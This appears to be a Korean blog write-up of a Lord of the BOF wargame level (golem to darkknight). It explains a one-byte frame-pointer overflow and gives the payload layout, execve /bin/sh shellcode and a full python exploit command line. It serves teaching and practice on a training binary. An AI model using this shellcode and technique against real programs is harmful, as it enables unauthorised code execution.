Profile

머리정리하는곳

c2w2m2

[Level12] golem -> darkknight


코드를 보면 단 1byte 만 오버플로우가 일어납니다. 단 1byte 가지고 저희는 ebp를 움직일수 있습니다.


이 ebp를 움직임으로써 esp가 leave 에 의해 움직이게 되고 esp가 움직이면 ret를 실행할때 esp+4의 주소로 가 실행시키므로 


저희가 원하는 코드를 실행 시킬수 있는것 입니다.


즉 계획을 세워보면


dummu [4 byte] + shellcode 시작 주소 [4 byte] + shellcode [25 byte] + dummy [7 byte] + buffer시작 주소 마지막 자리[1 byte]


가 되겠습니다. shellcode 는 



\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

이걸 사용하도록 하겠습니다.


먼저 소스코드를 복사해서 파일 하나 만든다음 problem_child 맨 밑줄에 printf("%p\n", buffer); 을 추가해서 실행 시키면 주소값이 나옵니다.


* 주의 : darkknight 와 파일 이름의 길이가 같아야 합니다. 이거 떄문에 왜 안되나 고민 많이 했어요 ㅠㅠ.


0xbffffab4


따라서 buffer시작 주소 마지막 자리[1 byte] 에는 \xb4 를 넣으면 됩니다.


shellcode 시작 주소는 0xbffffab4 에 8을 더한 0xbffffabc 가 되겠습니다. 이제 공격을 해보면



./karkknight `python -c 'print "A"*4 + "\xbc\xfa\xff\xbf" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*7+"\xb4"'`





쉘이 뜹니다! 그럼 darkknight 를 공격해보면 





클리어 !


'Pwnable > LOB' 카테고리의 다른 글

[Level14] bugbear -> giant  (0) 2017.05.17
[Level13] darkknight -> bugbear  (0) 2017.05.17
[Level11] skeleton -> golem  (0) 2017.05.17
[Level10] vampire -> skeleton  (0) 2017.05.17
[Level9] troll -> vampire  (0) 2017.05.17